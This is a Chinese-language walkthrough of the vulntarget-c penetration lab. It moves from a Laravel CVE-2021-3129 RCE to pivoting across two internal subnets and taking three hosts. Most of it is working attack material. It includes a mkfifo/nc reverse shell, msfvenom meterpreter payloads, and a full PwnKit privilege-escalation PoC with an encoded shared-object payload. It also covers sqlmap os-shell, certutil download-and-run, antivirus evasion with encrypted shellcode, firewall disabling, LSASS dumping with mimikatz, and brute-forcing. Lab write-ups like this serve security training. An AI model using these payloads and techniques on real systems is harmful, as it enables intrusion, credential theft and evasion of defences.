vulntarget-c 内网靶场渗透实战:从外网到跨网段提权拿下三台主机

低价海外云服务器,香港/美国免备案服务器仅需8.8起

前期环境配置

在开始渗透测试前,我们需要先调整靶场虚拟机的网络模式,将ubuntu20虚拟机切换为nat模式,确保所有靶场机器和测试主机处于同一内网网段,方便后续的流量通信和操作。

image-20260505150553234

第一阶段:外网打点与初始shell获取

1、内网活跃主机探测

渗透测试的第一步是定位目标所在的活跃主机,我们在测试终端执行arp-scan扫描命令,快速扫描当前局域网内的所有设备:

arp-scan -l

执行后我们很快定位到了目标主机的IP地址:10.30.7.55。

image-20260505150723762

2、全端口扫描与服务识别

接下来我们使用nmap工具对目标主机进行全面的端口和服务扫描,使用半开放扫描模式避免被目标防火墙拦截,同时提速扫描效率:

nmap -sS -p- -A 10.30.7.55 -T4

扫描结果显示80端口(HTTP服务)和22端口(SSH服务)处于开放状态,同时我们还获取了目标主机的系统版本、运行的Web框架等基础信息。

image-20260505150735590

3、漏洞信息收集

通过扫描结果我们确认目标运行的是Laravel Web框架,结合公开的漏洞库信息,该版本的Laravel存在CVE-2021-3129远程代码执行漏洞,该漏洞可以通过特定的接口请求实现未授权的代码执行。

image-20260505151043422

4、漏洞验证与利用

该漏洞的触发条件是向/_ignition/execute-solution接口发送恶意POST请求,当页面返回500状态码且出现file_get_contents相关错误时,即可确认漏洞存在。我们构造了如下的HTTP请求包:

文章参考:laravel RCE(cve-2021-3129)复现 – Running_J – 博客园

POST /_ignition/execute-solution HTTP/1.1
Host: 10.30.7.55
Content-Type: application/json
Content-Length: 168

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "jack",
 "viewFile": "jack1"
 }
}

image-20260505162207877

5、获取反向shell

我们可以使用公开的exp脚本进行快速利用

exp

cuongtop4598/CVE-2021-3129-Script: Add revert shell

首先需要根据目标系统的架构调整脚本内容

修改源码,uname -a判断为系统类型为x64,并且wget命令存在

image-20260505164237713

首先我们生成针对linux x64架构的反弹shell木马:

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.128 lport=4444 -f elf > shell.elf

其中lhost是我们的本地监听IP,lport是自定义的监听端口。

为了让目标主机可以下载我们生成的木马

image-20260505165237124

我们在本地开启了简易的HTTP文件共享服务,将当前目录作为共享目录。

image-20260505164514833

之后我们在目标主机执行修改后的下载命令,将木马文件下载到本地临时目录。

image-20260505164526378

接下来我们执行反弹shell命令,建立和本地监听终端的连接:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.30.7.128 4444 >/tmp/f

image-20260505220433791

继续修改文件,分别写入如下命令,依次执行

chmod +x /tmp/shell.elf
/tmp/shell.elf

执行之前,新开一个终端,打开msf

msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.30.7.128; set LPORT 4444; exploit -j -z"

image-20260505220745014

上线之后能看到第二个网卡为10.0.20.141

6、权限提升

成功拿到低权限shell后,我们需要进一步提升权限获取root访问权限。首先我们上传linpeas.sh脚本到目标主机,该脚本可以自动扫描主机上的潜在漏洞和配置错误:

upload linpeas.sh
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
chmod +x linpeas.sh
./linpeas.sh

image-20260506182556102

扫描结果显示目标主机存在CVE-2021-4034(pwnkit)漏洞,这是一个pkexec的本地权限提升漏洞,可以让普通用户获取root权限。我们使用公开的poc脚本进行提权:

#!/usr/bin/env python3

# poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys
# hardcoded amd64 lib
from ctypes import *
from ctypes.util import find_library
import os
import zlib
import base64
import tempfile

payload = zlib.decompress(
   base64.b64decode(
       """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"""
  )
)
libc = CDLL(find_library("c"))
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
libc.execve.restype = c_ssize_t

wd = tempfile.mkdtemp()
open(wd + "/pwn.so", "wb").write(payload)
os.mkdir(wd + "/gconv/")
open(wd + "/gconv/gconv-modules", "w").write(
   "module UTF-8//   INTERNAL   ../pwn   2"
)
os.mkdir(wd + "/GCONV_PATH=.")
os.mknod(wd + "/GCONV_PATH=./gconv")
os.chmod(wd + "/GCONV_PATH=.", 0o777)
os.chmod(wd + "/GCONV_PATH=./gconv", 0o777)
os.chmod(wd + "/pwn.so", 0o777)
os.chdir(wd)
cmd = b"/usr/bin/pkexec"
argv = []
envp = [
   b"gconv",
   b"PATH=GCONV_PATH=.",
   b"LC_MESSAGES=en_US.UTF-8",
   b"XAUTHORITY=../gconv",
   b"",
]

cargv = (c_char_p * (len(argv) + 1))(*argv, None)
cenv = (c_char_p * (len(envp) + 1))(*envp, None)
libc.execve(cmd, cargv, cenv)

image-20260506193513994

执行该脚本后我们成功获取到了root权限,同时发现目标主机存在第二块网卡,IP地址为10.0.20.141,说明目标主机处于另一个内网网段,需要进行横向移动渗透。

第二阶段:内网横向移动渗透

1、配置路由与网段扫描

我们需要将msf的流量转发到新发现的10.0.20.0/24网段,以便扫描该网段内的其他主机。首先我们配置路由规则,将该网段的流量通过当前的shell会话转发。

接下来我们使用msf的端口扫描模块扫描该网段内的活跃主机:

image-20260505221322740

ping内网主机发现,仅仅显示本机的第二张网卡ip

for i in {1..254}; do (ping -c 1 10.0.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

image-20260505222337261

tcp扫描,发现内网主机ip10.0.20.100,说明目标机器禁了ping或者开启了防火墙

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.20.0/24
set PORTS 22,80,135,139,445
run

image-20260505222509348

2、访问Web后台与漏洞发现

我们访问10.0.20.100的80端口,发现是一个企业内部的后台管理系统

image-20260505222703306

尝试使用常见的弱口令组合admin/admin123成功登录后台管理界面。

image-20260505223513542

在service list中的编辑按钮,能找到数据包,对其进行sql注入检测,发现其可能存在sql注入漏洞并且站点跟目录为\xampp\htdocs\ovas\

image-20260506151715856

3、SQL注入获取webshell

我们使用sqlmap工具对该注入点进行检测,首先确认当前数据库用户权限:

sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip"  --current-user

image-20260506152412158

尝试直接获取webshell,发现是系统权限

sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip"  --os-shell

image-20260506152542265

成功获取到了windows主机的系统权限shell,我们查看系统架构确认是64位系统,

systeminfo

image-20260506152934786

接下来生成对应的反弹shell木马:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe

image-20260506153229034

传马到第一台机器中

image-20260506154749674

开启文件共享

image-20260506154831594

4、免杀木马与上线

我们将生成的木马文件上传到目标主机的web目录下,尝试使用certutil命令下载并执行:

windows机器从这台linux中下载文件

certutil -urlcache -split -f http://10.0.20.141:8000/shell.exe shell.exe

image-20260506154930018

准备上线

image-20260506155153966

上线失败,被杀

image-20260506155136915

加免杀,生成shellcode

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f c --encrypt base64

替换shellcode

image-20260506155627450

打包

pyinstaller -F -w Bypass_AV.py

继续上传

image-20260506160915931

此时没有被杀,但是没有上线,大概率防火墙没关

image-20260506160936980

关闭防火墙

netsh advfirewall set allprofiles state off

正常上线

image-20260506161338575

第三阶段:拿下第三台靶场主机

1、内网信息收集与网段扫描

成功获取windows主机权限后,我们进行内网信息收集,发现该主机处于工作组环境,没有域控制器。接下来我们扫描10.0.10.0/24网段,发现10.0.10.110主机仅开放22端口,大概率是linux服务器。

发现另一个网段机器

image-20260506161405432

内网信息收集,发现并没有域环境,是一个工作组

image-20260506161537419

ping主机探测,发现内网第三台服务器,通过ttl为64可以看出目标机器大概率是linux服务器

for /l %i in (1,1,255) do @ping 10.0.10.%i -w 1 -n 1 | find /i "ttl"

image-20260506161925147

msf添加路由

run post/multi/manage/autoroute

image-20260506162035850

端口扫描,仅开放22端口

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.10.110
set PORTS 22,80,135,139,445
run

image-20260506162241354

2、爆破登录与凭据获取

我们尝试使用之前获取的凭据登录该linux主机,但是全部失败。于是我们使用hydra工具进行弱口令爆破,最终得到登录密码Admin#123,成功登录该主机。

抓取系统hash

load kiwi
creds_all

image-20260506165708436

修改注册表

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

再次抓取,也失败

creds_all

image-20260506165744220

离线导出

procdump.exe -accepteula -ma lsass.exe demo.dmp

image-20260506165633722

开启http服务传到本地,使用本地的mimikatz加载明文密码

image-20260506163836762

使用mimikatz抓取明文密码,发现系统并没有保存密码在这个文件中,原因就是系统没有本地登录或者远程登录过,所以无法获取用户登录的凭据

mimikatz.exe
sekurlsa::minidump demo.dmp
sekurlsa::logonpasswords full

image-20260506165904927

直接爆破得到密码

Admin#123

image-20260506170442239

开启远程服务

C:\xampp\htdocs\ovas\admin\services>netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389
Ok.


C:\xampp\htdocs\ovas\admin\services>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The operation completed successfully.

image-20260506170757271

使用默认的远程连接工具连接不上,rdesktop 不支持 CredSSP

使用下面这个工具

xfreerdp /u:Administrator /v:10.0.20.100 /cert:ignore

image-20260506171747952

3、获取最终权限

我们在windows主机的远程连接工具中发现了该linux主机的另一个用户凭据,密码为vuln@qwe,使用该密码我们成功登录并获取了该主机的最高权限,拿下了最后一台靶场机器。

在文件管理中发现了这个远程连接工具

image-20260506173217042

查看旁边的10.0.10.110

image-20260506173202619

直接双击就能远程连接

image-20260506173322445

在linux中找了大半天信息,没有任何东西,直到在这个工具中发现这个用户的密码vuln@qwe

image-20260506180011382

拿下最后一台机器

image-20260506180204268

THE END
喜欢就关注一下咱们公众号吧
点赞40 分享